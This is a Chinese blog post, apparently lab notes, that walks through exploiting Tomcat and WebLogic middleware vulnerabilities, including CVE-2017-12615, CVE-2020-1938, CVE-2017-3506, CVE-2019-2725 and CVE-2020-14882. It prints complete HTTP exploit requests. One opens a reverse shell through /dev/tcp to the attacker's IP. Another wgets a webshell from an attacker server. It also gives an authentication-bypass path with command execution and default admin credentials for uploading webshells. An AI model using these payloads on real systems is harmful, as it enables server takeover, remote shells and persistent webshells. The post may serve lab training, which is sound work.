常见中间件漏洞

LTJOMO

于 2024-08-06 21:35:27 发布

阅读量1.7k

点赞数 45

文章标签： web安全服务器

本文链接：https://blog.csdn.net/l_OMl_l/article/details/140966915

版权

Tomcat

CVE-2017-12615

1.打开环境，抓包

2.切换请求头为 PUT，请求体添加木马，并在请求头添加木马文件名 1.jsp，后方需要以 / 分隔

3.连接

后台弱口令部署war包

1.打开环境,进入指点位置,账户密码均为 tomcat

2.在此处上传一句话木马,先压缩,再将后缀改为 .war

3.连接

CVE-2020-1938

1.打开环境,使用 Tomcat CVE-2020-1938 py 脚本工具中的文件包含脚本查看文件内容

python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 环境ip

WebLogin

后台弱口令 GetShell

1.打开环境,进入操作台 /console

2.登录,账号密码: weblogic/Oracle@123,进入部署-->安装-->上传文件

3.上传木马文件,先压缩,再将后缀改为 .war,访问

4.连接

CVE-2017-3506

1.打开环境,拼接以下任意目录,验证是否存在漏洞

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

2.抓包当前页面,将反弹 shell 数据包替换

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 环境ip:8605
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/本机ip/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

3.开启监听,放包后获取 shell

CVE-2019-2725

1.打开环境, 拼接 /_async/AsyncResponseService 验证是否存在漏洞

2.当前页面抓包,将带木马的数据包替换

POST /_async/AsyncResponseService HTTP/1.1
Host: 本机ip:8605
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 838
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://下载木马的服务器ip/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/12121.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3.访问木马并连接

http://ip:8605/bea_wls_internal/12121.jsp

CVE-2018-2628

1.打开环境,使用 liqun 工具上传木马

2.访问木马并连接

CVE-2018-2894

1.打开环境,使用 docker-compose logs | grep password 获取密码

weblogic/J1WrSilh

2.拼接 /console/login/LoginForm.jsp 进入登录页面,登录,依次点击 base_domain-->高级-->启用 web 服务测试页后保存设置

3.访问拼接 /ws_utc/config.do 页面,将目录设置为 ws_utc 应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

以上为环境配置

4.点击安全-->添加,上传木马

5.右键检查,搜索 1 ,获取时间戳

6.访问木马并连接

/ws_utc/css/config/keystore/1722935567879_1411.jsp

CVE-2020-14882

1.打开环境,拼接 /console/css/%252e%252e%252fconsole.portal 绕过登录

2.拼接以下目录连接漏洞

/console/css/%252e%252e%252fconsole.portal? _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")